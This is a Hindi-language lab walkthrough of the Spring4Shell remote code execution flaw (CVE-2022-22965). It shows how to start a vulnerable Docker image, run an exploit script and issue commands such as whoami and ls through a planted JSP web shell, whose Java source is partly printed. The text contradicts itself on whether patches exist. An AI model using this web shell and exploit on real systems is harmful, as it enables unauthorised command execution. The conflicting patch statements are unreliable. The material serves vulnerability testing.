
Spring4Shell - Spring Core RCE - CVE-2022-22965
Spring Cloud के बाद, 29 मार्च को Spring की एक और गंभीर भेद्यता इंटरनेट पर सामने आई: Spring Core RCE
31 मार्च को Spring ने नए संस्करण जारी किए जो इस भेद्यता को ठीक करते हैं। पैचिंग अनुभाग देखें।
31 मार्च को आखिरकार इस भेद्यता के लिए एक CVE-नंबर आवंटित किया गया, जिसका CVSS स्कोर 9.8 (क्रिटिकल) है।
एक्सप्लॉइट का उपयोग करना बहुत आसान है, इसलिए CVSS स्कोर 9.8 इतना उच्च है।
भेद्यता का परीक्षण करने के लिए आप निम्नलिखित कर सकते हैं।
Spring की एक भेद्य Docker इमेज प्रारंभ करें।
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
यह भेद्य Spring को localhost:8082 पते से बाँधता है।
curl के साथ सत्यापित करें कि इमेज सही ढंग से प्रारंभ हुई है।
curl http://localhost:8082
ok की प्रतिक्रिया लौटाई जानी चाहिए।
आइए अब भेद्य इमेज का शोषण करें!
python3 exp.py --url http://localhost:8082
The vulnerability exists .... की प्रतिक्रिया लौटाई जानी चाहिए।
अब आप curl के साथ भेद्यता का शोषण कर सकते हैं।
# Execute command whoami
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami
# Response has been truncated
root
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........
# Execute command ls
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls
# Response has been truncated
app
bin
dev
etc
..........
एक्सप्लॉइट को अब तक exp.py के रूप में अपलोड किया जा चुका है


Spring ने अब नए संस्करण जारी कर दिए हैं जो इस CVE का समाधान करते हैं। Spring की घोषणा देखें।
वर्तमान में, Spring ने आधिकारिक रूप से पैच जारी नहीं किया है, अस्थायी समाधान के रूप में JDK संस्करण को कम करने की अनुशंसा की जाती है